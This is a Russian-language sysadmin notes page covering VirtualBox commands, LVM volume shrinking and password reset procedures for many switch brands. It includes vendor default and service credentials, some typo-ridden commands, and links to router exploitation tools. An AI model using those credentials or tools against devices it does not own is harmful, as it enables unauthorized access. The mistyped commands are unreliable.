vboxmanage storageattach archlinux1 --storagectl ide-controller \
--port 0 --device 1 --type dvddrive --medium emptydrive

Включаем удаленный доступ к ВМ

Подключение в ВМ стандартными RDP средствами.
vboxmanage modifyvm ubuntu1604 --vrde on
vboxmanage modifyvm ubuntu1604 --vrdeaddress 0.0.0.0
vboxmanage modifyvm ubuntu1604 --vrdeport 3001

Проброс SSH ssh -p 2222 root@localhost
vboxmanage modifyvm ubuntu1604 --natpf1 "ssh-forwarding,tcp,,2222,,22"
Запуск/Остоновка ВМ

Запуск в фоне
vboxmanage startvm --type headless VMNAME
Пауза
vboxmanage controlvm VMNAME pause
Возобновление
vboxmanage controlvm VMNAME resume
Остановка
vboxmanage controlvm VMNAME poweroff

Изменение

Подключаем виртуальный сетевой кабель на 1 интерфейсе
vboxmanage modifyvm gate --cableconnected1 on
Меняем тип сетевой карты на 1 интерфейсе
vboxmanage modifyvm gate --nictype1 Am79C973
Устанавливаем режим бриджа  на 1 интерфейсе
vboxmanage modifyvm gate --nic1 bridged --bridgeadapter1 lan.200
Устанавливаем режим НАТа  на 1 интерфейсе
vboxmanage modifyvm gate --nic1 nat

Созадем правило разначивания
vboxmanage modifyvm ubuntu1604 --natpf1 "ssh-forwarding,tcp,,22001,,22"
Удаляем это правило
vboxmanage modifyvm ubuntu1604 --natpf1 delete ssh-forwarding
Информация

Список всех виртуалок:
vboxmanage list vms
Список запущенных виртуалок:
vboxmanage list runningvms
Настройки VirualBox:
vboxmanage list systemproperties
Настройки ВМ:
vboxmanage showvminfo gate

Удаляем ВМ
vboxmanage unregistervm VMNAME2 --delete



У нас есть виртуальная машина на VMware, на ней есть диск. Диск большой, данных мало. Наша задача - сделать диск меньшего размера. На борту Logical Volume Manager (LVM). Gparted не умеет переносить данные на LVM разделах. Будем делать всё руками.
раскрыть
1. Остановка процессов на сервере.
2. Создаём клон виртуалки. Вдруг мы всё запорем - возрадуемся бэкапу как родному.
3. Пока создаётся клон рассчитаем место, которое нужно оставить на дисках.

df -h
Filesystem                              Size  Used Avail Use% Mounted on
/dev/mapper/vg_smartfe00-lv_root         50G   15G   33G  30% 
/tmpfs                                  7.8G     0  7.8G   0% /dev/shm
/dev/sda2                               477M  104M  348M  23% /boot
/dev/sda1                               197M  253K  197M   1% /boot/efi
/dev/mapper/vg_smartfe00-lv_home        211G   11G  190G   6% /home

lv_root уменьшим с 50G до 30G
lv_home уменьшим с 211G до 25G

4. Выключить ось.
5. Переключить UEFI на BIOS.
6. Переключить vlan на PXE или вставляем образ Resque CD или GParted Live
7. Загрузиться с Resque CD.
8. Через gparted убеждаемся в том, что /dev/sdb активен (не обязательно).
9. Уменьшаем размеры файловых систем, уменьшаем логические разделы, сдвигаем данные к началу диска, уменьшаем физический раздел.

Список групп:
vgdisplay

Список логических томов:
lvdisplay

Список дисков
pvdisplay

Ресайзим root до 30 Гб:
e2fsck -f /dev/mapper/vg_smartfe00-lv_home
resise2fs /dev/mapper/vg_smartfe01-lv_root 30G

Ресайзим home до 25 Гб:
e2fsck -f /dev/mapper/vg_smartfe00-lv_home
resise2fs /dev/mapper/vg_smartfe01-lv_home 25G

Уменьшаем размер логических томов:
lvreduce -L 30G /dev/mapper/vg_smartfe01-lv_root
lvreduce -L 25G /dev/mapper/vg_smartfe01-lv_home

Далее все сегменты вычисляем на калькуляторе для каждого сервера! Смысл в том, чтобы перемещать сегменты только на пустое место.

Список сегментов:
pvs -v --segments /dev/sdb1

Включаем мозг, понимаем куда двигать home и сдвигаем его подальше:
pvmove --alloc anywhere /dev/sdb1:12800-19199

Снова смотрим список сегментов:
pvs -v --segments /dev/sdb1

Двигаем home вплотную к root:
vmove --alloc anywhere /dev/sdb1:19200-25599 /dev/sdb1:7680-14079

Двигаем swap вплотную к home:
pvmove --alloc anywhere /dev/sdb1:67083-71110 /dev/sdb1:14080-18107

Дальше запускаем gparted и работаем через него.
gparted - деактивируем /dev/sdb
gparted - ресайзим /dev/sdb1

10. Смотрим инфо получившегося /dev/sdb1 - total sector 148350848.
Вычисляем размер нового диска 148350848*512/1024/1024=72436,9375 Мб
Новый диск будем делать 72438 Мб, это в три раза меньше того, что было.
11. Выключаем ось.
12. Добавляем через vCenter новый диск на 72438 Мб.
13. Снова загружаемся через Resque CD.
14. gparted на /dec/sdc делаем device - create partition table.
15. gparted на /dev/sdc делаем новый раздел /dev/sdc1 в файловой системе lvm2 pv
16. Проверяем через инфо, чтобы количество секторов на /dev/sdc1 (148350976) было не меньше чем на /dev/sdb1 (148350848).
17. Расширяем группу:
vgextend vg_smartfe00 /dev/sdc1

18. Мувим диск с /dev/sdb1 на /dev/sdc1:
pvmove /dev/sdb1 /dev/sdc1

19. Исключаем из группы /dev/sdb1:
vgreduce vg_smartfe00 /dev/sdb1

20. gparted - деактивируем диск /dev/sdc1.
21. gparted - check диска /dev/sdc1 - дополнительно раздел расширяется до полного объёма.
22. Выключаем ось.
23. Удаляем ненужный более диск через vCenter.
24. Переключаем BIOS обратно на EFI.
25. Переключаем vlan на боевой, если ранее переключались на PXE.
26. Включаем тачку.


Это все шаги, необходимые для изменения размера раздела LVM или LVM2.
These are all the steps required to resize a LVM or LVM2 partition

sudo lvresize --verbose --resizefs -L -150G /dev/ubuntu/root

sudo pvresize --setphysicalvolumesize {any size here} /dev/sda5

/dev/sda5: cannot resize to xxxxx extents as later ones are allocated.

You have to rearrange the unallocated space at the end of the LVM. That means after root and swap_1 partition. So, you need to move that free space using the command below

pvs -v --segments /dev/sda5

This will show the output like below
/dev/sda5 ubuntu lvm2 a-- 698.04g 150g 0 xxx root 0 linear /dev/sda:0-xxx
/dev/sda5 ubuntu lvm2 a-- 698.04g 150g xxx yyyy 0 free
/dev/sda5 ubuntu lvm2 a-- 698.04g 150g yyyy end swap 0 linear /dev/sda5:yyyy-end
Now use the command below to remove external fragmentation -

sudo pvmove --alloc anywhere /dev/sda5:yyyy-end
Now let us see how it goes -

pvs -v --segments /dev/sda5

This will show the output like below
/dev/sda5 ubuntu lvm2 a-- 698.04g 150g 0 xxx root 0 linear /dev/sda:0-xxx
/dev/sda5 ubuntu lvm2 a-- 698.04g 150g xxx yyyy swap 0 linear /dev/sda5:xxx-yyyy
/dev/sda5 ubuntu lvm2 a-- 698.04g 150g yyyy end 0 free
After that use the gparted and resize the LVM to maximum used area and rest will be in unallocated space.

https://internet-lab.ru/lvm_resize
Увеличение LVM томов Debian 8.3 (на виртуальной машине Hyper-V)

Как сбросить пароль на управляемом коммутаторе. Nortel BayStack, Extreme Summit, D-Link, Cisco, Huawei, Dell PowerConnect, Netgear, Avaya, Alcatel Omniswitch

Небольшая подборка, как сбросить пароли на управляемых коммутаторах разных производителей. Эта процедура подразумевает, что вы подключены уже консольным кабелем к коммутатору.

1. Nortel BayStack (425-24, 425-48):
ctrl+C, при старте.
ctrl+Y при загрузке.

2. Extreme Summit (e21, 200-24, 200-48):
<SPACE> при загрузке, d.
Или unconfigure switch all при загруженом свиче.

3.Dell PowerConnect (3324, 3348, 3424, 3448):
ESC при загрузке;
en--> delete sturtup-config

4.D-Link (DES 3200):
Наблюдаем за процессом загрузки. Ждем момента загрузки прошивки 100%, и в этот момент зажимаем Shift+6 (или SHIFT+3, в зависимости от древности прошивки).
В этом режиме возможны такие действия:
- просмотр созданных аккаунтов (show account_list)
- удаление всех аккаунтов (reset account)
- удаление пароля для аккаунта (reset password )
- сброс на заводские настройки (reset factory)
- перезагрузка коммутатора (restart)
При загруженном свиче:
reset config(reset factory)
reset system

5.Huawei (2300 ser):
Ctrl+B при загрузке свича.

5.2 Huawei (s3328tp-ei):
<Quidway>dir
Directory of flash:/

Idx Attr Size(Byte) Date Time(LMT) FileName
0 -rw- 994 Jan 01 2008 00:01:18 private-data.txt
1 -rw- 8,687,124 Jan 01 2008 23:43:36 s3328-v100r006c00spc800.cc
2 -rw- 2,255 Jan 02 2008 05:03:51 vrpcfg.zip
3 drw- - Jan 29 2008 21:19:08 resetinfo
4 -rw- 104,138 Jan 02 2008 01:36:19 s3300_v100r006sph005.pat
5 -rw- 36 Jan 02 2008 01:02:57 $_patchstate_reboot
6 -rw- 540 Jan 01 2008 20:14:36 hostkey
7 -rw- 23,184 Feb 10 2008 04:53:15 s3300_v100r006sph002.pat
8 -rw- 4,107 Jan 06 2008 07:33:15 cfg-16-apr-21.cfg
9 -rw- 4,107 Jan 06 2008 20:15:38 2012-04-17-data.cfg
10 -rw- 468 Jan 01 2008 20:14:42 serverkey
11 -rw- 250,486 Jan 01 2008 23:54:12 s3300_v100r006sph008.pat

<Quidway>delete (name of file *.cfg)
<Quidway> reset saved-configuration
<Quidway> reboot
Info: The system is now comparing the configuration, please wait.
Warning: All the configuration will be saved to the configuration file for the next startup:, Continue?[Y/N]:N
flash:/vrpcfg.zip exists, overwrite?[Y/N]:Y

6.Nortel (1624g):
reset config, reset system.
default login passwor: rwa

7. Cisco (Catalyst series 2900,3000,3500):
touch button "mode" and take power.
Switch> flash_init
Switch> dir flash:
Switch> renname flash:config.text flash:new.name
Switch> boot
Switch> en
Switch> delete flash:new.name
Switch> delete flash:privat-config.conf

8. Cisco (7400ASR):
Ctrl+Break (Ctrl+A+F for minicom).
rommon> delete config or confger=0x2102(2142)

9. Huawei (s2326):
Ctrl+B,(Ctrl+Z( or ctrl+X) - hidden menu)
passes: (null),password, 5700, blank password, www.huawei.com,
www.Huawei.com, Huawei, Admin@Huawei.com, fib256sw --> 5, 3-- delete .cfg --> 6, 7

10. NETGEAR (GSM7312):
default: login Admin, nopass

11. NETGEAR (GSM7328):
en-> clear config

12. HP Procurve2510-24:
Зажать на передней панели reset и clear, подождать 2 сек, отпустить reset. Как test перестанет мигать(3-4 сек) отпусть clear.
(Сброс пароля кнопкой на передней панели, может быть заблокирован первоначально настройками)

13.1 Alcatel 6850(omniswitch):
сброс пароля: прервать загрузку. setenv bootflags 0x1000, saveenv, boot ... cd "network", rm UserTable, перезагрузить свитч,
и установить флаг регистра 0х0 и перезагрузить опять.
Сброс настроек: cd working, rm boot.cfg, cd certified, rm boot.cfg

13.2 Alcatel 6024(omniswitch):
that is Press any key to stop auto-boot...
Press any key to stop auto-boot...
7
You have 4 seconds to confirm by entering 'y'...
y
Once you stop the boot sequence you will get a screen like this with this prompt
[VxWorks Boot]: and now type ‘ c ‘ there and press enter
VxWorks Boot]: c
flags (f) : 0x0 0x1000
VxWorks Boot]: @

[Miniboot] ->
[Miniboot]->ls (List the Directory)
drw 2048 Jun 20 12:18 working/
drw 2048 Jun 20 12:18 certified/
-rw 64000 Jun 15 12:42 swlog1.log
-rw 64000 Jun 20 12:18 swlog2.log
-rw 310 Jun 20 12:18 boot.params
drw 2048 Apr 17 21:49 network/
-rw 452 Jun 17 15:58 boot.cfg.1.err
-rw 256 Jun 17 16:27 random-seed
-rw 25574 Jun 14 01:59 tech_support.log
-rw 81154 Jun 14 01:59 tech_support_layer2.log
-rw 6567 Jun 14 01:59 tech_support_layer3.log
drw 2048 Jun 14 18:53 switch/
5423104 bytes free
value = 0 = 0x0
************************************************************************
At miniboot type this command cd "network"
[Miniboot]->cd "network"
[Miniboot]->pwd
/flash/network
************************************************************************
[Miniboot]->ls
[Miniboot]->rm "userTableX"
[Miniboot]-> bootChange
flags (f) : 0x1000 0x0
[Miniboot]-> Reboot or Reload
After the Switch is booted use the Default username password
(admin / switch)

14. AVAYA:
1. root/ggdaseuaimhrke
2. username root password root access-type admin

15. Dell PowerConnect (3024)
password reset: ESC при загрузке.
EmergencyPasswordReset - answer "X", press G

16. Extreme (Summit x450a-24x):
При загрузке зажать и держать пробел.
BOOTSTRAP> boot
Starting Bootloader ...
Опять зажать и держать пробел.
BOOTLOADER> use config def (Или BOOTROM> config none)


17. 3Com Switch 3300SM:
1. Когда на экране замигает курсор - нажать Enter
2. Логин по умолчанию admin/без пароля или security/security
3. Ввести SYSTEM, затем INITIALIZE. Это сбросит все настройки кроме IP и паролей
4. Или ввести логин 3comcso/RIP000 - Спросят про инициализацию коммутатора. Это сбросит все настройки и пароли.

18. Zuxel ES-2108 (ES-2024):
1. Подаем питание на устройство и дожидаемся вывода сообщения "Press any key to enter Debug Mode within 3 seconds".
2. Нажимаем на клавиатуре любую клавишу и попадаем в режим отладки:
3. Вводим команду ATSH для вывода информации о программном и аппаратном обеспечении коммутатора:
4. Загружаем последнюю версию микропрограммного обеспечения с сайта производителя. В моем случае это файл ES-2024A_3.90(TX.3)C0.zip. Распаковываем архив. В архиве есть файл конфигурации (rom-файл) с настройками по умолчанию.
5. Вводим команду ATLC для записи файлов
6. Далее отправляем файл через ваш терминал. По завершению отправки файла, коммутатор выводит уведомление о успешной загрузке.
7. После успешной записи файла вводим команду ATGO для перезагрузки коммутатора:
8. После перезагрузки коммутатора настройки по умолчанию следующие login: admin password: 1234

19. Juniper MX5 ,MX80:
Hit [Enter] to boot immediately, or space bar for command prompt.
Booting [kernel] in 9 seconds...
Нажать “пробел”

boot -s
Начать загрузку в сингл режиме

Дальше вписываем условие recovery:

Enter full pathname of shell or 'recovery' for root password recovery or RETURN for /bin/sh: recovery
Входим в режим настройки в командной строке

Устанавливаем пароль и подтверждаем

New password: password
Retype new password:
И сохраняем:

disnetern-net.core@host# commit
commit complete
Выходим из всех режимов настройки и перезагружаем.

20. Huawei SmartAX MA5626
Дефостный логин и пароль:

login: root

password: mduadmin

21. 3com 4200
Login: recover
Password:recover
* Password Recovery Mode *
The administrative password will be cleared if a hard reset operation is
carried out on the device within 30 seconds.
If a hard reset operation is not carried out during this period, the device
will return to the CLI login prompt

countdown = 26

* Password Recovery Mode *

Enter the new password for the admin user:
Re-enter the new password:

The Password Recovery feature is enabled.
Enter new value (enable,disable)[enable]:

22.1 Edge-Core ES3552M
Во время загрузки нажимаем сочетание клавиш Ctrl+U и после прохождения POST может появиться запрос на ввод пароля. Вводим пароль mercury
Пароль может не запросить и сразу открыть список файлов на флешке.
Удаляем все конфиги типа startup1.cfg нажав клавишу “D”. Оставляем только дефолтный конфиг Factory_Default_Config.cfg
После нажимаем “Q” и загружаемся.
Дефлтный логин пасс: admin\admin

22.2 Edge-Core ES3528M
Во время загрузки нажимаем сочетание клавиш Ctrl+U и после прохождения POST может появиться запрос на ввод пароля. Вводим пароль mercury
После этого коммутатор загрузиться с дефолтным логином\паролем admin\admin
Заходим, Делаем загрузочным файл Factory_Default_Config.cfg:

#configure
(config)#boot system config:Factory_Default_Config.cfg
Success.
И после вывода команды dir можно будет увидеть, что загрузочным является файл Factory_Default_Config.cfg:

#dir
          File name                        File type       Startup Size (byte)
 -------------------------------------     --------------  ------- -----------
 Unit1:
          ES3510_DIAG_1005.bix             Boot-Rom Image  Y           305512
          ES3526XA_ES3510_V11029.bix       Operation Code  N          3078576
          ES3526XA_ES3510_V11030.bix       Operation Code  Y          3087640
          Factory_Default_Config.cfg       Config File     Y              542
          startup1.cfg                     Config File     N              542
 ---------------------------------------------------------------------------
                                                  Total free space:    262144   
После произведенных действий нужно будет только перезагрузить коммутатор, он будет с голыми настройками.


23. Dell Force 10 s4810
Во время начала загрузки – зажать любую клавишу. В появившемся окне бутлоадера прописать:

=> setenv stconfigignore true
=> saveenv
=> reset

После загрузки логин будет стандартный “admin” без пароля.

https://disnetern.ru/how-to-reset-password-default/



ознакомиться
наиболее частые команды для коммутаторов
uzverss COM порт в Ubuntu
Как сбросить пароль на управляемом коммутаторе.
Сети для самых маленьких
Сети для начинающего IT-специалиста. Обязательная база

https://github.com/eucariot/SDSM
https://linkmeup.gitbook.io/sdsm/
ieucariot Сети Для Самых Маленьких
https://www.youtube.com/playlist?list=PLHN9m7XN8U8HQ4KdjaLlWtSHQ3PYgQzmV
ieucariot CCIE за год
https://www.youtube.com/playlist?list=PLHN9m7XN8U8FZ7sjH8Jb3JIXUjR2GIWtT

Основы компьютерных сетей
Основы компьютерных сетей. Тема №1. Основные сетевые термины и сетевые модели
Основы компьютерных сетей. Тема №2. Протоколы верхнего уровня
Основы компьютерных сетей. Тема №3. Протоколы нижних уровней (транспортного, сетевого и канального)
Основы компьютерных сетей. Тема №4. Сетевые устройства и виды применяемых кабелей
Основы компьютерных сетей. Тема №5. Понятие IP адресации, масок подсетей и их расчет
Основы компьютерных сетей. Тема №6. Понятие VLAN, Trunk и протоколы VTP и DTP
Основы компьютерных сетей. Тема №7. Протокол связующего дерева: STP
Основы компьютерных сетей. Тема №8. Протокол агрегирования каналов: Etherchannel
Основы компьютерных сетей. Тема №9. Маршрутизация: статическая и динамическая на примере RIP, OSPF и EIGRP

виртуальные сетевые лаборатории

https://www.gns3.com/
GNS3 в облаке
Основы GNS3. Обзор
http://www.eve-ng.net/
Установка и настройка eve-ng эмулятора
Установка и использование виртуальной сетевой лаборатории EVE-NG совместно с Ansible. Первый опыт


Cisco

управлялка
https://www.cisco.com/c/en/us/products/cloud-systems-management/network-assistant/index.html

обновить прошивку
https://www.cisco.com/tacpage/sw-center/sw-lan.shtml
http://www.cisco.com/c/en/us/support/docs/switches/catalyst-2950-series-switches/41542-191.html

видео
------------------------------------------------------------------------
NetSkills. Видеоуроки. Cisco, zabbix, linux.
http://blog.netskills.ru/search/label/cisco
Курс молодого бойца
https://www.youtube.com/playlist?list=PLcDkQ2Au8aVNYsqGsxRQxYyQijILa94T9
GNS3
https://www.youtube.com/playlist?list=PLcDkQ2Au8aVMo5NPLrLxTbrJybWvKxMw0
Основы GNS3
https://www.youtube.com/playlist?list=PLcDkQ2Au8aVM3fmdIYcT6wGE2moiahurw
Лабораторные работы ICND1
https://www.youtube.com/playlist?list=PLcDkQ2Au8aVNreEQcp5zga6V-E3jJadhE
Cisco ASA Administrator
https://www.youtube.com/playlist?list=PLcDkQ2Au8aVN4uRzgY04GRRqaWfYi05Qq
------------------------------------------------------------------------
https://www.networkeducation.ru
Cisco ICND1
https://www.networkeducation.ru/video/track/icnd1
Cisco ICND2
https://www.networkeducation.ru/video/track/icnd2
------------------------------------------------------------------------
Mihail Kozlov CISCO
https://www.youtube.com/playlist?list=PL5KGx5_ykLX8ZcczD-CgblvCrYy5w4PqL
------------------------------------------------------------------------
Students Days универ изнутри
Сети Cisco шаг за шагом(Cisco Networks, Step by step)
https://www.youtube.com/playlist?list=PL7CmqnO_Qydj_7pzgQB4AWdF-SAxssH4l
------------------------------------------------------------------------

https://www.gns3.com/software/download
http://www.unetlab.com/download/index.html
https://sourceforge.net/projects/netdisco/

uzverss Операционная система маршрутизаторов CISCO faq
uzverss Быстрая настройка cisco
Краткие заметки по Cisco CCNA (часть ICND1)
Шпаргалки к экзамену Cisco CCNA
Конспект по материалам курса ICND1 100-101
Подборка статей про Cisco
Заметки по Cisco
------------------------------------------------------------------------
http://www.cisco.com/cisco/web/RU/psa/default.html?mode=tech
https://sysadminblog.ru/blog/cisco/
http://ciscomaster.ru/
http://telecombook.ru/archive/network/cisco/
http://nastroisam.ru/cisco-port-forwarding/
http://prosto-seti.blogspot.ru/search/label/cisco
https://techexpert.tips/ru/category/cisco-switch-ru/

------------------------------------------------------------------------
Проброс диапазона портов в Cisco
Проброс порта или целого адреса в локальную сеть
Настройка проброса портов - port mapping (forwarding) в Cisco
Проброс диапазона портов в Cisco
Проброс FTP во внутреннюю сеть на Cisco
ACL: списки контроля доступа в Cisco IOS
Типовая конфигурация для маршрутизатора Cisco в малом офисе
Как конвертировать один vlan в другой на cisco catalyst 2900/2950/2960?

Конфигурация изолированных частных VLAN на коммутаторах (PVLAN)
------------------------------------------------------------------------
Настраиваем доменную аутентификацию на сетевом оборудовании
Настроим аутентификацию по доменным учеткам на оборудовании cisco:
Аутентификация на сетевых устройствах CISCO средствами Active Directory
Cisco Switch SSH аутентификации в Active Directory через радиус
Аутентификация администратора на Cisco через радиус и AD
Интеграция сервисов пользовательского доступа с привязкой к Active Directory на межсетевых экранах Cisco ASA и устройствах защиты Вэб-трафика Cisco Web Security Appliance.
Настройка Cisco Unified Comunications с нуля. Практика06: Переход в другой домен AD
------------------------------------------------------------------------
Официальное руководство Cisco по подготовке к сертификационным экзаменам CCNA ICND2 200-101 Уэнделл Одом 2015
http://www.cisco.com/web/RU/learning/le31/learning_learning_resources_home.html
Постоянный доступ к учебным материалам Cisco
сети для самых маленьких
------------------------------------------------------------------------
BPDU GUARD
Как работают BPDUGuard и BPDUFilter
Как правильно настроить spanning-tree и вообще от него отказаться
Усиление функции защиты Portfast BPDU для протокола STP
Spanning Tree Protocol Технические примечания по поиску и устранению неисправностей
------------------------------------------------------------------------
http://xgu.ru/wiki/Агрегирование_каналов
Настройка EtherChannel на Cisco
Основы компьютерных сетей. Тема №8. Протокол агрегирования каналов: Etherchannel
Что такое и как настроить Link Aggregation Control Protocol (LACP) на примере Cisco
Агрегирование каналов Cisco
------------------------------------------------------------------------
Cisco switch 3560. Заставляем работать неподдерживаемые SFP модули.
Шпаргалка по протоколу динамической маршрутизации EIGRP (CCNA)
Шпаргалка по протоколу динамической маршрутизации OSPF
OSPF: что оно такое?
Начинаем работать с BGP
Делаем роутер в GNS3 доступным в реальной сети
------------------------------------------------------------------------
Configuring IP Access Lists
uzverss Cisco Packet Tracer. Курс
http://www.qinet.ru/tag/cisco-ccna/
Устранение проблем интерфейса и неполадок портов коммутатора. Часть 1
Устранение проблем интерфейса и неполадок портов коммутатора - Часть 2
Устранение проблем интерфейса и неполадок портов коммутатора - Часть 3
Устранение проблем интерфейса и неполадок портов коммутатора - Часть 4
uzverss Восстановление порта из состояния "errdisabled" на платформах Cisco IOS
------------------------------------------------------------------------
Передача сигналов DTMF в сообщениях протоколов VoIP и взаимодействующий на CUBE
DTMF и его настройка. Часть1. Теория
------------------------------------------------------------------------
Использование RADIUS (Windows Network Policy Server) для аутентификации и авторизации на коммутаторах Cisco
Настройка Radius аутентификации с Windows Server 2012 NPS (Network Policy Server) на Cisco IOS
------------------------------------------------------------------------
Route-based VPN между Linux StrongSwan и Cisco ISR
------------------------------------------------------------------------
uzverss Сброс пароля на коммутаторе Cisco
http://uzverss.livejournal.com/tag/cisco


Arista

Arista. Знакомство


Eltex

HUAWEI

------------------------------------------------------------------------
Students Days универ изнутри
Сети Huawei шаг за шагом (Networks based on Huawei routers step by step)
https://www.youtube.com/playlist?list=PL7CmqnO_Qydi3QWXMUFnBGUuYgIlRQd63
------------------------------------------------------------------------
Основные команды Huawei Quidway
Настройка сетевого оборудования компании HUAWEI (коммутация, статическая маршрутизация)


juniper

JunOS — полезные команды
https://disnetern.ru/junos-полезные-команды/
https://support.juniper.net/support/downloads/
https://hub.docker.com/r/juniper/openjnpr-container-vmx
https://github.com/Juniper/vmx-docker-lwaftr
https://github.com/mwiget/vmxdocker
Разверните Juniper vMX через Docker Compose


НP ProCurve

https://sites.google.com/site/pkiwikitis/announcements/hp/procurveswitch
http://xgu.ru/wiki/ProCurve
http://stupin.su/files/hp_procurve_switch_docs.zip
НP ProCurve. наиболее часто используемые команды консоли.
Краткая справка по командам коммутаторов HP ProCurve Switch 26xx
uzverss Скрытые команды для управление HP ProCurve


D-Link

Базовая конфигурация D-Link DES-3028
Базовая конфигурация D-Link DGS-3620
Три примера настройки DHCP Relay option 82 на DAS-3216 / 3224 / 3248 / 3248DC rev.B и rev.C
Некоторые команды консоли коммутаторов D-Link.
Основные команды для работы с коммутаторами D-Link серии DES и DXS
D-Link CLI
Некоторые команды консоли коммутаторов D-Link.
Практические аспекты использования DHCP relay+option82
Cisco Dhcp relay и D-Link Разница
uzverss Настройка коммутатора D-Link DES-3200
uzverss Основные команды для работы с коммутаторами D-Link серии DES и DXS
uzverss Сброс логина и пароля, сброс конфигурации, на коммутаторах D-link серии DES


ExtremeXOS

http://www.eve-ng.net/documentation/howto-s/144-howto-add-extreme-exos
EXOS VM appliance
https://github.com/extremenetworks/Virtual_EXOS
ExtremeXOS Материал из Национальной библиотеки им. Н. Э. Баумана
Virtual ExtremeXOS (быстрый старт)
Virtual ExtremeXOS - свитчи от Extreme Networks в VirtualBox
Особенности настройки коммутаторов ExtremeXOS
Особенности настройки коммутаторов ExtremeXOS
Начальная настройка коммутаторов Extreme Networks
Как выглядит изнутри и какие преимущества модульных ОС сетевых устройств, на примере XOS от Extreme Networks
Обновление прошивки EXOS на коммутаторах Summit Extreme
основные с практической точки зрения моменты по настройке и взаимодействию с ExtremeXOS

Как сбросить пароль на управляемом коммутаторе. Nortel BayStack, Extreme Summit, D-Link, Cisco, Huawei, Dell PowerConnect, Netgear, Avaya, Alcatel Omniswitch


Mikrotik
uzverss Mikrotik, RouterOS подборка

OpenWRT
uzverss OpenWRT подборка

Open vSwitch

http://openvswitch.org/
Виртуальный коммутатор Open vSwitch: обзор возможностей
О настройке Open vSwitch непростым языком
Open vSwitch как ядро виртуальной сети
Установка и настройка Open vSwitch в Debian
Развертывание IBM Security Network Protection в Open vSwitch


Cumulus Linux

https://cumulusnetworks.com/
https://cumulusnetworks.com/products/hardware-compatibility-list/
https://linuxhint.com/install_cumulus_linux/
https://docs.gns3.com/appliances/cumulus-vx.html


VyOS

https://www.vyos.io/
https://ru.bmstu.wiki/VyOS


Quagga

https://www.quagga.net/
https://www.opennet.ru/base/net/zebra_doc.txt.html
Маршрутизация с Quagga
Quagga - превращение сервера в полнофункциональный маршрутизатор


https://dent.dev/dentos/
https://github.com/dentproject/dentOS/wiki/Installation

ZyWALL Zyxel USG памятка

безопасность
Маршрутизатор Scan v2.60 Beta от Stas'M
Новые возможности Router Scan by Stas’M v2.60: беспроводной взлом Wi-Fi из Windows
Инструкция по использованию RouterSploit
https://github.com/threat9/routersploit
https://github.com/BigNerd95/WinboxExploit
Сброс пароля на Mikrotik с сохранением конфигурации, или инструкция по восстановлению доступа к RouterOS после взлома
Анализ критической уязвимости Winbox
https://github.com/0ki/mikrotik-tools


Разное

https://prism-break.org/ru/categories/routers/
Выбор кабеля для структурированной кабельной системы

Profile

uzverss: (Default)
uzverss

December 2024

S M T W T F S
12345 67
891011121314
15161718192021
22232425262728
293031    

Syndicate

RSS Atom

Most Popular Tags

Style Credit

Expand Cut Tags

No cut tags
Page generated Jun. 22nd, 2025 02:15 pm
Powered by Dreamwidth Studios